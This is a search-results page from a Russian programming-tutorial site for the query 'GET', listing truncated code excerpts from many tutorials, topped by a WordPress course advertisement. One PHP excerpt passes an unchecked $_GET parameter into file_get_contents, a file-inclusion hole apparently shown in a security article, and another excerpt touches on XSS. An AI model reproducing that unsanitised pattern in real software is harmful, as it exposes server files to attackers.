<MyRusakov.ru />

WordPress 6 с Нуля до Гуру

WordPress 6 с Нуля до Гуру

Этот курс научит Вас созданию самых разных сайтов на самой популярной в мире CMS - WordPress. Вы увидите установку и настройку локального сервера, разбор каждой настройки, каждой кнопки и каждого пункта меню в панели WordPress.

Также Вы получите и всю практику, поскольку прямо в курсе с нуля создаётся полноценный Интернет-магазин, который затем публикуется в Интернете. И всё это прямо на Ваших глазах.

Помимо уроков к курсу идут упражнения для закрепления материала.

И, наконец, к курсу идёт ценнейший Бонус по тому, как используя ChatGPT и создавая контент для сайта, можно выйти на пассивный доход. Вы наглядно увидите, как зарегистрироваться в ChatGPT (в том числе, и если Вы из России), как правильно выбрать тему для сайта, как правильно генерировать статьи для него(чтобы они индексировались поисковыми системами) и как правильно монетизировать трафик на сайте.

Подробнее
Уроки и статьи
Подписка

Подпишитесь на мой канал на YouTube, где я регулярно публикую новые видео.

YouTube Подписаться

Подписавшись по E-mail, Вы будете получать уведомления о новых статьях.

Подписка Подписаться

Добавляйтесь ко мне в друзья ВКонтакте! Отзывы о сайте и обо мне оставляйте в моей группе.

Мой аккаунт Мой аккаунт Моя группа
Опрос

Какая тема Вас интересует больше?

Поиск: GET

Что искали: GET

Всего найдено: 980 записей

...             $this->filename = $filename;             $fileinfo = getimagesize($filename);             if(!$fileinfo) {                 throw new exception("image file corrupted: $filename");  ...
... расширить стандартный класс wp_widget и его функции и демонстрирует пример готового кода с одним текстовым полем. new_widget расширяет встроенный в wordpress ...
...     string title;     string body;     public string getuserid() {         return userid;     }     public post setuserid(string userid) { ...
... чтобы получить текущий год, используйте метод экземпляра getfullyear() объекта date. метод getfullyear() возвращает год указанной даты в конструкторе date: ...
...         // получает названия листов книги в виде массива         $sheetnames = $spreadsheet->getsheetnames();         // возвращает количество листов в книге ...
... // интерфейс всех телевизоров interface tv  {     function getbrand() : string; // возвращает производителя } // конкретная реализация телевизора ...
... элемент даты и времени:var date = new date();document.write("год - " + date.getfullyear() + "<br />");document.write("месяц - " + date.getmonth() + "<br />");document.write("число - " + date.getdate() + "<br />");document.write("день ...
... них. как получить отдельные части даты метод getfullyear() получение года. let year = new date(); console.log(year.getfullyear()); // 2020 метод getmonth() получение месяца ...
... структура <div class="carousel-wrapper" style="height: 400px;">   <span id="target-item-1"></span>   <span id="target-item-2"></span>   <span id="target-item-3"></span>   <div class="carousel-item ...
... метаданных. пример с использованием метода get: <?php   $opts = [     'http' => [     'method' => "get",     'header' => "accept-language: ...
... мы создадим атрибуты для различных http-методов, таких как get, post, put, и delete. #[attribute(attribute::target_method)] class route {     public function __construct(public string $path, public string $method) {} ...
... которая до безобразия просто устанавливается из репозитория пакетов nuget. после установки пакетов приступим к написанию кода. базовый класс ...
... ниже приведен базовый пример кода, который демонстрирует, как выполнить get-запрос к веб-серверу и вывести полученные данные в консоль. using system; ...
... import org.apache.http.client.methods.httpget; import org.apache.http.impl.client.closeablehttpclient; import org.apache.http.impl.client.httpclients; import org.apache.http.util.entityutils; import java.io.ioexception; public class httpclientgetrequest { ...
...   class user {    protected $loggedin = false;    protected $data = [];    public function getdata() {     return $this->data;    }    public function setdata($data) {     ...
... выглядит так: route::get('/', function () {     return view('welcome'); }); этот маршрут привязывает http-запрос метода get к корневому url ...
...         $property = $meta->getattribute('property'); // извлекаем значение атрибута property         $content = $meta->getattribute('content'); // извлекаем значение атрибута content ...
...             // читаем список файлов из текущей папки - .             files.list(paths.get(".")).foreach(path -> system.out.println(path));         } ...
... рассмотрим, как использовать getboundingclientrect, его основные свойства и примеры применения. основные свойства метод getboundingclientrect возвращает объект ...
... from pyside6.qtcore import qt from pyside6.qtgui import qcursor from pyside6.qtwidgets import qapplication, qwidget, qpushbutton, qhboxlayout, qvboxlayout, qtextedit # главное окно приложения ...
... двигатель нашей задумки - javascript. (function() {   var video = document.getelementbyid('video'),    canvas = document.getelementbyid('canvas'),    context = canvas.getcontext('2d'), ...
... новости из twitter и печатает их    public function getsocialfeeds() {     $twitsrv = new twitterservice();     print $twitsrv -> gettweets();    }   }   // класс   class ...
... import sys import random from pyside6.qtcore import qt, slot from pyside6.qtwidgets import qapplication, qwidget, qpushbutton, qlabel, qvboxlayout # главное окно приложения расширяет класс qwidget ...
... from pyside6.qtcore import qt from pyside6.qtgui import qcursor from pyside6.qtwidgets import qapplication, qwidget, qpushbutton, qhboxlayout, qvboxlayout, qtextedit class mainwidget(qwidget): ...
...         // переменная определена изначально         public static function getname() {             return self::$name;         }  ...
... продолжают работать, как они работали в ecmascript 5 let obj = {   get foo() {    console.log('get foo');    return 123;   },   set bar(value) {    console.log('set ...
... package ru.myrusakov.rssapp import android.os.bundle import android.view.view import android.widget.adapterview import android.widget.toast import androidx.appcompat.app.appcompatactivity import androidx.recyclerview.widget.gridlayoutmanager ...
... только get-запросы (как правило, это скрипты поиска). и вот чтобы обрабатывать и принимать данные и от таких скриптов, надо уметь отправлять get-запросы ...
...     return lines # возвращает 5 случайных вопросов def get_questions():     answers = read2list('answers_data.txt')     items = random.choices(population=answers, k=5) ...
... высокоуровневый класс httpclient. в приведенных примерах мы создадим простые запросы get и post. протокол передачи гипертекста (http) - это прикладной протокол для ...
... которое отобразит функционал поиска по истории. const openhistorybtn = document.getelementbyid('openhistorybtn'); openhistorybtn.addeventlistener('click', (e) => {     chrome.tabs.create({ url: 'history.html' }); ...
... <?php   function getrange( $max = 10 ) {    $array = [];    for( $i = 0; $i < $max; $i++ ) {     $array[] = $i;    }    return $array;   }   foreach (getrange(15) as $range) ...
...         $headerlength  = curl_getinfo($handle, curlinfo_header_size);         $httpcode      = curl_getinfo($handle, curlinfo_http_code);         $body          = substr($response, $headerlength); ...
... работы с параметрами командной строки, одним из которых является функция getopt. эта функция позволяет разработчикам легко обрабатывать аргументы, ...
... using microsoft.data.sqlite; // эту библиотеку для работы с sqlite берем из пакетного менеджера nuget using system.data; using system.reflection; using system.text; namespace csharpsqlitedemo {    ...
... догадывались об этом. так, функции, работающие с потоками - это fopen(), file_get_contents(), file() и т.д. поэтому, фактически, вы уже используете файловые потоки ...
... script.js !(function () {   const form = document.getelementbyid("form");   const username = document.getelementbyid("username");   const email = document.getelementbyid("email"); ...
... объявляем переменную, говорим что у нас есть пустая ячейка multi_1 = document.getelementbyid('inp_1').value; и туда надо что-то положить (присвоить). положим ...
... http://shop.ru/?utm_source=yandex&utm_medium=cpc&utm_campaign=mobil_sale&utm_content=m-234&utm_term=buy+phone сгенерированная ссылка по сути является get-запросом и она нам чётко говорит, что этот человек пришел на сайт заказчика ...
в сегодняшней статье мы поговорим о функции getline() в c++. это встроенная функция, которая позволяет выводить в консоль все, вводимые с клавиатуры, ...
...     * @annotation - обозначение аннотации     * @target({"class","method"}) - аннотация может применяться только к классам и методам классов ...
... написать статью, в которой рассказать о разнице между методом post и методом get, но всё как-то появлялись другие темы, и переключался на них. и вот, наконец-то, ...
... 9) ? isecs : "0" + isecs); var smins ="" + ((imins > 9) ? imins : "0" + imins); document.getelementbyid("timer-counter").innerhtml = smins+":"+ssecs; settimeout('getsecs()', 1000); } //]]> вы здесь уже: минут/секунд. getsecs(); ...
... настроили, пришло время научиться делать get-запросы. одним из наиболее распространенных http методов является get. метод get предназначен для получения ...
...     <canvas id="breakevenchart" width="400" height="200"></canvas>     <script>     document.getelementbyid('breakevenform').addeventlistener('submit', function(e) {         e.preventdefault(); // предотвращаем перезагрузку страницы ...
... арифметические действия. html разметка возьмем за основу бутстраповскую разметку (getbootstrap.com), из раздела components / forms. у нас должна получиться форма с двумя ...
... // обязательно подключаем данную библиотеку using system.collections.generic dictionary<string, string> imagetypes = new dictionary<string, string>(); //imagetypes.add("key", "value"); imagetypes.add("bmp", "bitmap"); ...
... копируете ссылку, например такую – http://news.yandex.ru/gadgets.rss. далее необходимо прочитать содержимое файла gadgets.rss, для этого воспользуемся встроенной в ...
...     // получаем ссылки на ячейки листа     function getcells(worksheet $sheet)     {         return function(string $cellname) use ($sheet) { ...
...                 name: document.getelementbyid('name').value,                 position: document.getelementbyid('position').value,                 education: document.getelementbyid('education').value, ...
... так же есть индекс. так мы получим всю строку целиком: get_str = 'это строка' print(get_str) это строка а здесь, обратившись по индексу 5, получаем ...
... принцип построения квадратичной кривой let canvas = document.getelementbyid('curve'); let ctx = canvas.getcontext('2d'); ctx.beginpath(); // начало нового пути ctx.linewidth = ...
... это используется достаточно часто, math.random() помещают внутрь функции function getrandom() {   return math.random(); } проблема, конечно, заключается в том, что функция ...
... новички часто не понимают, какой метод отправки данных использовать: post или get. а ведь оба эти методы были придуманы не как альтернатива друг другу, ...
... document.queryselectorall(".img-src");   for (let i = 0; i < images.length; i++)   {    let image = images[i];    alert(image.getattribute(src));   } смотрите, как просто. единственное, что вам нужно- ...
... вывести значение свойства background для этих блоков. var div1 = document.getelementbyid('div1'); var div2 = document.getelementbyid('div2'); alert(div1.style.background); alert(div2.style.background); в ...
... function.php. для подключения сайдбара к ядру wordpress используется хук widgets_init. add_action( 'widgets_init', 'theme_slug_widgets_init' ); регистрация сайдбара ...
...         for(uimanager.lookandfeelinfo theme : uimanager.getinstalledlookandfeels()) {             jbutton button = new jbutton(theme.getname());             button.setbounds(20, buttony, 100, 30); ...
... аргументах функции передадим объект event. в переменную target поместим цель объекта - event.target. в условии проверяем, что пользователь действительно ...
... # возвращает содержимое страницы в виде текста def get_page_content(url):     text = ''     res = requests.get(url, headers=headers)     if res.status_code != 404: ...
... мы скопируем все данные из буфера обмена с помощью буфера метода clipboard.getdataobject(). буфер обмена может содержать изображения и другие типы, которые ...
... function __construct() {    $this->db = new mysqli($host, $user, $pass, $database);   }   public function get() {}   public function set() {}   public function del() {} } $db1 = new db(); $db2 = new db(); у нас ...
... в словарь рассмотрим пример использования условного оператора: def get_operation(operator):     if operator == 'add':         return lambda x, y: x + y ...
...   * в метод request передается три параметра:    *   *   * 1. методы get, post   * 2. url на который отправляются данные формы ...
... function displaygeneratedpassword() {   const length = parseint(document.getelementbyid("length").value);   const lowercase = document.getelementbyid("lowercase").checked;   const uppercase = document.getelementbyid("uppercase").checked; ...
... подключить header.php в wordpress есть специальная функция для подключения header.php. get_header() из названия функции, уже понятно, что она делает - получает шаблон ...
... не было, то создаётся и возвращается (паттерн singleton) */   public static function getdb() {     if (self::$db == null) self::$db = new database();     return self::$db;   } ...
...     public function getamount() {         return $this->amount;     }     public function getcurrency() {         return $this->currency; ...
... // таблиц с данными request.onupgradeneeded = function(event) {   const db = event.target.result;   // создаем хранилище объектов (таблицу) с именем "users" и указываем поле "id" как ключ ...
... размера шрифта: <?php   session_start(); // начинаем сессию   if ($_get["size"] == "big") { // если get-параметр равен big     $_session["size"] = 30; // помещаем в сессию ...
... нового объекта с текущей датой и временем let daynumber = date.getdate(); // получение даты let month = date.getmonth(); // получение месяца let dayname = date.tolocalestring(lang,{weekday: 'long' ...
...                     <button class="navbar-toggler" type="button" data-toggle="collapse" data-target="#navbartogglerdemo02" aria-controls="navbartogglerdemo02" aria-expanded="false" aria-label="toggle navigation"> ...
... главное - javascript. (function() {   var video = document.getelementbyid('video'),    vendorurl = window.url || window.webkiturl;   navigator.getmedia = navigator.getusermedia || navigator.webkitgetusermedia || navigator.mozgetusermedia ...
... import random # импортируем метод random # и в том же файле создадим метод get_random_position(), который генерирует случайный набор x, y координат на заданной поверхности surface, и возвращает результат в виде экземпляра класса vector ...
... new montharr(31, 28, 31, 30, 31, 30, 31, 31, 30,31, 30, 31);  year = today.getyear();  if (year < 2000)    year = year + 1900;  thisday = today.getdate();  if (((year % 4 == 0) && (year % 100 != 0)) || (year % 400 ...
...     if (!document.getelementsbytagname) return;     var anchors = document.getelementsbytagname("a");     for (var i=0; i < anchors.length; i++) {       if (anchors[i].getattribute("href") && ...
... практике. создадим класс: class user {   public function getname() : string {    return 'john';   } } $user = new user; echo $user->getname(); как вы можете видеть, после имени ...
... выведутся в консоль при клике по списку. раскрываем всю эту цепочку mouseevent → target → tagname. дословный перевод: событие мыши → цель → имя тега. начинающие ...
...                         <a href="#" class="btn btn-outline-primary" data-bs-toggle="modal" data-bs-target="#video_modal"                             data-bs-video-url="https://www.youtube.com/embed/tlcnjemnlts">смотреть</a> ...
... такой задачи, как вывода количества записей, мы будем использовать метод get_var (). выведем некоторое кол-во записей внизу сайта, например в футере. ...
... путём обращений к серверу через javascript, в большинстве случаев, это post и get запросы. и практически всегда такие сайты используют для этого ajax. и ...
... function(e) {   if (shouldnotswipe(e.target)) {    e.preventdefault();   } }); list.addeventlistener('slip:swipe', function(e) {   if (thatwasswipetoremove) {    e.target.parentnode.removechild(e.target);   ...
... src="bower_components/greuler/dist/greuler.js"></script> использование для пользователя есть простые свойства: target – селектор контейнера, содержащего график data – объект, содержащий ...
...   getmodel() {    return "the model of the car is " + this.model;   } } как видите, очень похоже на другие языки. вызов также не выделяется. var bmw = new car("bmw"); alert(bmw.getmodel()); ...
... div с id=block. если вы хотите отправить запрос типа get, то просто измените название метода с $.post() на $.get(), а параметры у него идентичные. $(document).ready(function(){ ...
... теперь приступим к реализации. база данных та же. в папке libs создадим файл get_comments.php с таким кодом: <?php   header("content-type: text/html; charset=utf-8");   $count = ...
... redirect.php <?php   require_once "classes/shortener.php";   if(isset($_get['code'])) {    $s = new shortener();    $code = $_get['code'];    if($url = $s->geturl($code)) {     ...
... можете сделать что-то вроде этого: <?php   if(!isset($_get['show'])) {    die();   }   $show = $_get['show'];   $content = file_get_contents("content/{$show}.php"); ?> ...
... сегодняшней статье я решил разобрать весьма полезную функцию, удаляющую любой get-параметр из строки. где это может быть нужно? допустим, вы делаете навигацию ...
...     header('access-control-allow-origin: *');     header('access-control-allow-methods: get, post');     header('access-control-max-age: 1000');     header('access-control-allow-headers: content-type, authorization, x-requested-with'); ...
...     public function getall(int $limit);     // возвращает строку таблицы по ее id - первичный ключ     public function get($id); ...
... передаётся скрипт-обработчик. теперь сам код этого обработчика: <?php   $targetfolder = '/uploads'; // куда загружать файлы   $verifytoken = md5('unique_salt' . $_post['timestamp']); ...
... появилось много нового, и сегодня мы разберем один из новых псевдоклассов - target. target с английского переводится как "цель" и это не просто так. дело в том, ...
... from selenium.webdriver.common.by import by # чтение английского содержимого def get_file_content(filename):     with open(filename, 'r') as fd:         return fd.read() ...
...         public int id { get; set; }         public string name { get; set; }         public int price { get; set; } ...
...  * @returns {promise<string[]>} массив строк - путей к файлам  */ async function getfiles(dir) {     // асинхронно читает содержимое директории ...
... remove. list.onclick = function(event) {     if (event.target.tagname != 'span') return;     let childrenlist = event.target.parentnode.queryselector('ul');     if (!childrenlist) ...
... содержит в себе все данные get и post запросов. class request {     private $storage; // переменная хранящая данные get и post      ...
... import './index.css'; import app from './app'; reactdom.render(<app />, document.getelementbyid('root')); index.css * {   margin: 0;   padding: 0; ...
...     // загружает файл по переданному url     function get_url_content($url) {                  // настраиваем запрос ...
... их открытыми совсем не хочется. тогда добавляют так называемые методы get и set:<?php  abstract class car {    protected $x;    protected $y;    ...
... пользователь. для этого есть get-параметры, в котором мы передаём код языка (допустим, "ru" или "en"). далее мы в зависимости от значения get-параметра, берём нужный ...
...         ],     ]);     $response = file_get_contents($url, false, $context);     $status_line = $http_response_header[0]; ...
... from datetime import date, timedelta # возвращает словарь месяц - период времени def get_work_months(year):     return {         'январь':   (year - 1, 12, year, 1), ...
... решили заменить старый заголовок на новый «поиск dom элемента с помощью getelementbyid, не внося изменения напрямую в html код. как это сделать, используя ...
... {$user1->name} это важный и ключевой момент в понимании методов. public function getanketainfo(){     имя: {$this->name}     возраст: {$this->age} ...
...             request.onsuccess = (event) => resolve(event.target.result);             // ошибка открытия базы данных ...
... двигаться по горизонтали. let canvas = document.getelementbyid('canvas'); // получение холста в документе let ctx = canvas.getcontext('2d'); // получение контекста рисования ...
...     # получение значения элемента trackbar     lh = cv2.gettrackbarpos("l_h", "tracking")      ls = cv2.gettrackbarpos("l_s", "tracking")     lv = cv2.gettrackbarpos("l_v", "tracking") ...
... $test->drawgrapharea(255, 255, 255, true); // рисуем графическую плоскость   $test->drawscale($dataset->getdata(), $dataset->getdatadescription(), scale_normal, 150, 150, 150, true, 0, 2); // рисуем оси и график   $test->drawgrid(4, ...
... инструмент для решения повседневных задач. 1. get-childitem: получение списка файлов и папок команда get-childitem является одной из самых часто используемых ...
...  *   * @param array $connectionconfig  * @return pdo  *   */ function getdbconnection(array $connectionconfig): pdo {     $host = $connectionconfig['host']; ...
... корректно, но всё-таки знать их полезно: <?php   $ip = gethostbyname("vk.com");   echo $ip;   echo "<br />";   echo gethostbyaddr($ip);   echo "<br />";   print_r(gethostbynamel("vk.com")); ...
... date = new date('july 4, 2018'); // форматирование даты var datestamp = (date.getmonth() + 1) + '/' + date.getdate() + '/' + date.getfullyear(); // отображение на странице app.textcontent ...
... requests.get(). но есть одна проблема, так как данный метод загружает информацию целиком, что может перегрузить память. к счастью для нас, у метода get есть ...
...     public function login($username, $password)      {         $user = $this->userrepository->getuserbyusername($username);         if ($user && password_verify($password, $user['password'])) { ...
... cookies = {'session_id': '123456789'} response = requests.get('https://example.com', cookies=cookies) print(response.text) получение cookie из ответа import requests response = requests.get('https://example.com') ...
... offsetset - для установки значения в массиве по ключу offsetget - для получения значения из массива по ключу offsetexists - проверка ...
... на удаленном сервере можно использовать функцию file_get_contents. <?php $sitemap = file_get_contents("http://myrusakov.com/sitemap.xml"); ?> для чего-то более ...
... данные. наиболее часто используемое у event объекта свойство - это target. конструкция event.target на этом уроке, мы по клику добавляли класс кнопке, оперируя ...
... class="simple_two"></div> <div class="example_2"></div> let getexamples = document.queryselectorall('.example_1, .example_2'); console.log(getexamples); результат из консоли: в каком-то ...
...     const ip = '12.09.123.4';          function getipinfo($ip = ip) {                  // api, который возвращает информацию в формате json ...
... выведем результат в консоль. // получить элементы по имени тега let p = document.getelementsbytagname('p'); console.log(p); программа вывела в консоли коллекцию ...
... // выводим значения членов перечисления foreach (int i in enum.getvalues(typeof(day))) {     console.writeline(i); } // создаем перечисление для дней недели. ...
... вы увидите много свойств, описывающих объект события, одно из которых target, внутри которого ищем название тега tagname: button. мы вытащили из консоли, ...
... откроем файл default.js и перед выборкой #randominsert пропишем следующее: $.get('dashboard/xhrgetlistings', function(o) {   for(var i = 0; i < o.length; i++) {    $('#listinserts').append('<div>' ...
...     $connection = getdbconnection($connectionconfig);     // получаем все новости     $news = news_getall($connection);     // возвращаем отрисованый шаблон ...
... input.addeventlistener('keyup', (e) => {     const capslock = e.getmodifierstate('capslock');     const shift = e.getmodifierstate('shift'); }) функция getmodifierstate() возвращает ...
... из коллекции используется метод get. обратимся к элементам по ключу и выведем их значения в консоль. console.log(map.get('str')); // string console.log(map.get(10)); ...
... <button id="btn">пуск</button> при клике по кнопке запустится функция getusers. функция будет получать ответ от сервера, а метод fetch распарсивать ...
... методы, привязанные только к одной конкретной роли. у объекта user есть метод getlessons() с какой-то базовой функциональностью. но у разных групп пользователей ...
... следующим образом: def _process_game_logic(self):     for game_object in self._get_game_objects():         game_object.move(self.screen)     if self.spaceship: ...
... найдем элемент form по идентификатору с помощью метода document.getelementbyid. const form = document.getelementbyid('form'); при отправки формы сработает событие ...
... сработает здесь и сейчас, под конкретную задачу. const form = document.getelementbyid('form'); function getformvalue(event) {     event.preventdefault();     // поиск ...
...         // создаем объект холста (let canvas) из элемента холста html:         const canvas = document.getelementbyid("canvas");         // создаем 2d-объект для рисования на холсте: ...
... возможных способов запросов: get post delete put для каждого из них в express предусмотрен отдельный метод: app.get('route', fn) app.post('route', fn) ...
...   trait singleton   {      private static $instance;      public static function getinstance() {       if (!(self::$instance instanceof singleton)) {        self::$instance ...
... # отправка запроса на сайт и получение ответа page = requests.get(url) # вывод статуса ответа print(page) #  <response[200]> # статус 200 говорит об успешном ответе ...
...   $user = new users\user;   $ro = new reflectionobject($user);   echo '<pre>';   print_r(get_class_methods($ro));   echo '</pre>'; ?> как вы можете видеть, большинство ...
... являются объектами. объекты могут быть независимыми: get /articles – получить все статьи get /articles/1036 – получить конкретную статью по идентификатору ...
...             system.err.println("используется так: " + javafileinfo.class.getname() + " имя_файла.txt");             system.exit(1); ...
... facebook\facebookredirectloginhelper('your url');   try {    if($session = $facebook->getsessionfromredirect()) {     $_session['facebook'] = $session->gettoken();     header('location index.php');    ...
... ссылку на нашу страницу.для этого напишем в теге <body> такой код:<a target = "_self" href = "index.html" title = "ссылка">ссылка на эту страницу</a>тег html <a> ...
... new reflectionparameter(['users\user', 'setdata'], 0);   echo '<pre>';   print_r(get_class_methods($rp));   echo '</pre>'; ?> в конструктор класса reflectionparameter ...
... с вами будем только два рассматривать) - это get и post. главное их отличие - это вид отправки: открытый (get) и закрытый (post). самый лучший способ понять, ...
... ним: setitem() — принимает пару ключ-значение и добавляет ее в localstorage. getitem() — принимает ключ и возвращает соответствующее значение removeitem() ...
... бесплатных запросов в месяц). код метода контроллера: public function getusersipinfo() {     $sql = "         select  ...
... parse_ini_file("shortlinks.ini"); // получаем массив данных из ini-файла   if(isset($_get["r"]) && array_key_exists($_get["r"], $shortlinks)) { // если передан правильный get-параметр     ...
...             // получаем текст из текстового поля             const questionsinput = document.getelementbyid('questionsinput').value;             // разбиваем текст на массив вопросов, удаляя пустые строки ...
...     """создание виртуального окружения"""     folder = entry_folder.get()     env_name = entry_env_name.get() or "venv"     if not folder:         messagebox.showerror("ошибка", "выберите папку проекта!") ...
... from tkinter import stringvar, listbox from nltk.corpus import words from difflib import get_close_matches # скачиваем корпус слов, если еще не скачивали ...
... которые я знаю), существует и другая функция, которая называется getdate():<?php  $datetime = getdate();  foreach ($datetime as $k=>$v)    echo "$k - $v<br />";?>запустив ...
...       }     }     block = document.getelementbyid("block"); // получаем основной блок     block_r = document.getelementbyid("block_resize"); // получаем блок для изменения ...
... рассмотрим простой пример декоратора метода: function log(target, context) {   const originalmethod = target;   return function(...args) {     console.log(`вызов ${context.name} с аргументами:`, args); ...
... 'javascript'>  function starttime() {    var date = new date();    var hours = date.gethours();    var minutes = date.getminutes();    var seconds = date.getseconds();    if (hours < 10) hours ...
... зависимости от числительного.результат: // 4 && mod < 20 ? 2 : keys[math.min(mod%10, 5)]; document.getelementbyid("life_site").innerhtml = life + " " + suffix[suffix_key]; } //]]> этот сайт существует уже: ...
... использует буферы, но суть элементарна: вернуть содержимое файла */   function gettemplate($name) {     ob_start(); // начинаем сохрание выходных данных в буфер ...
... шаг 1) найти все классы home отбираем все классы с помощью метода getelementsbyclassname (получить элементы с помощью класса). сначала объявим переменную ...
... и начнем мы как всегда с поиска картинки на странице при помощи метода getelementsbytagname. слово elements в названии метода указывает на то, что элементов ...
... компьютерами, состоящее из get-запросов. когда вы заходите на facebook.com, как авторизованный пользователь, то ваш компьютер отправляет get-запрос к серверу ...
...     rotated_surface = rotozoom(self.sprite, angle, 1.0)     rotated_surface_size = vector2(rotated_surface.get_size())     blit_position = self.position - rotated_surface_size * 0.5     surface.blit(rotated_surface, blit_position) ...
...   $rp = new reflectionproperty('users\user', 'data');   echo '<pre>';   print_r(get_class_methods($rp));   echo '</pre>'; ?> в конструктор класса reflectionproperty ...
... объекты из этой группы, если это необходимо. реализуем метод _get_game_objects(): # game.py def _get_game_objects(self):     return [*self.asteroids, self.spaceship] ...
... установить сервер redis и расширение phpredis. установка redis: sudo apt-get update sudo apt-get install redis-server sudo systemctl enable redis-server.service sudo systemctl start redis-server.service ...
... function digitalwatch() {     var date = new date();     var hours = date.gethours();     var minutes = date.getminutes();     var seconds = date.getseconds();     if (hours < 10) ...
... алгоритм. он наиболее короткий, и в то же время очень быстрый. <?php   function getword($number, $suffix) {     $keys = array(2, 0, 1, 1, 1, 2);     $mod = $number % 100;     ...
... немедленно. геттеры и сеттеры чтобы создать getter и setter методы , нужно использовать ключевые слова get и set, за которыми следуют пробел и идентификатор. ...
... переменной n, значение полученное из input и оставим там на хранение. n = document.getelementbyid('num').value; надо убедиться, что пользователь ввел именно число, ...
... откроется контекстное меню, в котором надо выбрать пункт управление пакетами nuget и в открывшемся окне во вкладке "обзор" ввести название пакета system.text.json. ...
... # ввод текста для перевода пользователем def translate_text(text, source_lang=&#039;ru&#039;, target_lang=&#039;en&#039;):     # функция для перевода текста с заданного языка на целевой язык ...
...     // получаем обновленные данные     $result = $bot->getwebhookupdates();     $text = $result["message"]["text"]; //текст сообщения ...
... операции указанной выше используется свой собственный http метод: get – получение post – создание put – обновление, модификация ...
...  *  возвращает отсортированный список путей к файлам с расширениям, перечисленными в   *  массиве $allowedextensions  *   */ function getfilessorted(filesystemiterator $files, array $allowedextensions = ['pdf']): array { ...
... type="text/javascript">   function setcookie(name, value) {     document.cookie = name + "=" + value;   }   function getcookie(name) {     var r = document.cookie.match("(^|;) ?" + name + "=([^;]*)(;|$)");     if ...
... type="text/javascript">   /* данная функция создаёт кроссбраузерный объект xmlhttp */   function getxmlhttp() {     var xmlhttp;     try {       xmlhttp = new activexobject("msxml2.xmlhttp"); ...
...         return $this;     }     public function getquery() {         return $this->query;     } } ...
... int main() {   string site = "myrusakov";   cout << site;   cin.get(); // ожидание ввода символа   return 0; } конкатенация ...
... выведем результаты для каждой папки. код: import os import shutil def get_folder_size(folder_path):     total_size = 0     for dirpath, dirnames, filenames in os.walk(folder_path): ...
...         $this->email = $email;     }     public function getemail(): string {         return $this->email;     } ...
...     // выводим текст из файла     print $pdf -> gettext(); обратите внимание на то, что текст, который вы получите из pdf файла ...
... значение перезапишется на новое. следующий метод getitem получит значение ключа. localstorage.getitem('age'); для удаления элемента из хранилища, ...
... // если файл невозможно открыть, то бросается исключение function getrows($file) {     $handle = fopen($file, 'rb');     if (!$handle) { ...
... } function one() {     document.getelementbyid("rocket").innerhtml = "установить связь с центром!"; } function two() {     document.getelementbyid("rocket").innerhtml = "пристегнуть ...
... <canvas id="canvas" width="800" height="600" style="border:1px solid #ccc;"></canvas> <script>   const canvas = document.getelementbyid('canvas');   const ctx = canvas.getcontext('2d');   /**    * рисует дерево рекурсивно ...
...     // влзвращает список всех найденных ошибок     public function geterrors() {         return $this -> errors;     } ...
...          * клавиш cntrl + клавиша (targetkey)          *           */         function controlpluskey( targetkey, callback )  ...
... на языке, заданным get-параметром. для начала создадим ini-файл "lang_en.ini":hello=helloworld=worldтеперь создадим php-скрипт:<?php  $lang = isset($_get['lang'])? $_get['lang']: "en";  ...
... 'тринадцать' } my_count.clear() print(my_count) {} // возвращает пустой словарь метод get() метод get() возвращает значение по указанному ключу в параметрах. название ...
... <pre id="output"></pre> <script>   document.getelementbyid('fileinput').addeventlistener('change', function (event) {     const file = event.target.files[0];     const reader = new filereader(); ...
...     [column(isprimarykey = true)]     public int id { get; set; }     [column]     public string name { get; set; }     [column]     public string city { get; set; } ...
... атрибут "method". у него может быть одно из двух очень популярных значения: "post" и "get". этот атрибут определяет способ отправки. не буду вдаваться в подробности, ...
... использоваться для файла. в качестве второго параметра мы задаём путь, функция get_... сгенерирует путь к главному файлу стилей. обычно разработчики для ...
... processitems($array);  // работает с массивом function getgenerator(): iterable {     yield 'a';     yield 'b';     yield 'c'; } processitems(getgenerator());  // работает с генератором ...
... работает эта функция так: на сервер отправляется запрос с помощью http методов get и post, полученный ответ извлекается и отправляется пользователю в требуемом ...
... javascript? <p>jquery - write less, do more.<p> мы написали бы так: var paragraph = document.getelementsbytagname("p"); теперь посмотрите, как просто получить параграф в jquery, ...
...     // возвращает текущую 2d позицию игрового объекта     point2d getposition2d()     {         return position2d;     } ...
... окно по id. var modal = document.getelementbyid('mymodal'); получить кнопку, которая открывает модальное окно по id. var btn = document.getelementbyid("mybtn"); получить ...
... k = 1;     var image_next = 'image_' + k;     document.getelementbyid(image_now).style.opacity = opacity/100;     document.getelementbyid(image_now).style.filter = 'alpha(opacity='+ opacity +')';     ...
... который ранее объявляли в css. затем получим его стили, используя функцию getcomputedstyle. теперь можно получить доступ к переменной --main-color. в консоли ...
... будет принимать get-запросы от пользователей на получение различной информации. напишем в этом обработчике такой код: <?php   if ($_get['action'] == "getbalance") ...
... фона   imagefilledrectangle($image, 0, 0, 170, 60, $white); // закрашиваем изображение   imagettftext ($image, 30, 0, 10, 40, $color, $dir."verdana.ttf", $_session['rand_code']); // рисуем текст на капче ...
... let mediarecorder; let audiochunks = []; const startbutton = document.getelementbyid('start-btn'); const stopbutton = document.getelementbyid('stop-btn'); const transcriptionfield = document.getelementbyid('transcription'); ...
...      * @return mixed      */     public function get($name) {         if (isset($_session[$name])) {             return $_session[$name]; ...
... ключевые технологии для реализации используются следующие веб-api: 1. mediadevices.getusermedia — для доступа к камере. 2. canvas api — для захвата кадра с камеры. 3. ...
... # функция для вывода выбранного значения def get_selection():     selected = combo.get()     print(f"вы выбрали: {selected}") ...
... защититься от xss? обычно подобную уязвимость можно найти в формах или в get запросах. например, у нас есть форма поиска на сайте. попробуйте ввести ...
...             const input = document.getelementbyid('fileinput');             const canvas = document.getelementbyid('canvas');             const ctx = canvas.getcontext('2d'); ...
... composer, давайте скачаем фреймворк yii итак, зайдите на сайт http://getcomposer.org/ и нажмите кнопку "getting started". теперь нажмите installation - *nix, чтобы установить его ...
... считать разницу между этим временем и текущим. вот как это выглядит: function gettimeremaining(endtime){   var t = date.parse(endtime) - date.parse(new date());   var seconds = math.floor( (t/1000) ...
... python (v2.7 recommended, v3.x.x is not supported). make. a c/c++ compiler like gcc. libxtst-dev and libpng++-dev (sudo apt-get install libxtst-dev libpng++-dev). теперь установите библиотеку через npm. npm install ...
... получается на javascript. class person   constructor: (name, age) ->    @name = name    @age = age   getinfo: ->    "name: #{@name}, age: #{@age}" здесь мы создаем класс person, конструктор ...
... движения, но и значения скорости. начнем с создания метода get_random_velosity() в файле space_rock/utils.py: def get_random_velocity(min_speed, max_speed):    speed = random.randint(min_speed, max_speed) ...
